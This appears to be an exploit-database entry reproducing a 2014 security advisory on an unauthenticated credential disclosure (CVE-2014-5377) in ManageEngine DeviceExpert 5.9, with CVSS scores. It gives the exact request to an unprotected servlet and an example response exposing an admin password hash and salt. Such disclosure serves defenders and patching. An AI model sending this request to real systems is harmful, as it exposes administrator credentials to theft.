Lucene search

K
exploitpackPedro RibeiroEXPLOITPACK:8520EEAAC84430FC29E92FF06AA7B14D
HistoryAug 28, 2014 - 12:00 a.m.

ManageEngine DeviceExpert 5.9 - User Credential Disclosure

2014-08-2800:00:00
Pedro Ribeiro
12

5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

ManageEngine DeviceExpert 5.9 - User Credential Disclosure

>> User credential disclosure in ManageEngine DeviceExpert 5.9
>> Discovered by Pedro Ribeiro ([email protected]), Agile Information Security
==========================================================================

>> Background on the affected product:
"DeviceExpert is a web–based, multi vendor network change, configuration and compliance management (NCCCM) solution for switches, routers, firewalls and other network devices. Trusted by thousands of network administrators around the world, DeviceExpert helps automate and take total control of the entire life cycle of device configuration management."


>> Technical details:
Vulnerability: User credential disclosure / CVE-2014-5377
Constraints: no authentication or any other information needed.
Affected versions: UNFIXED as of 27/08/2014 - current version 5.9 build 5980 is vulnerable, older versions likely vulnerable

GET /ReadUsersFromMasterServlet

Example response:
<?xml version="1.0" encoding="UTF-8"?><discoveryresult><discoverydata><username>admin</username><userrole>Administrator</userrole><password>Ok6/FqR5WtJY5UCLrnvjQQ==</password><emailid>[email protected]</emailid><saltvalue>12345678</saltvalue></discoverydata></discoveryresult>

The passwords are a salted MD5 hash.

5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

Related for EXPLOITPACK:8520EEAAC84430FC29E92FF06AA7B14D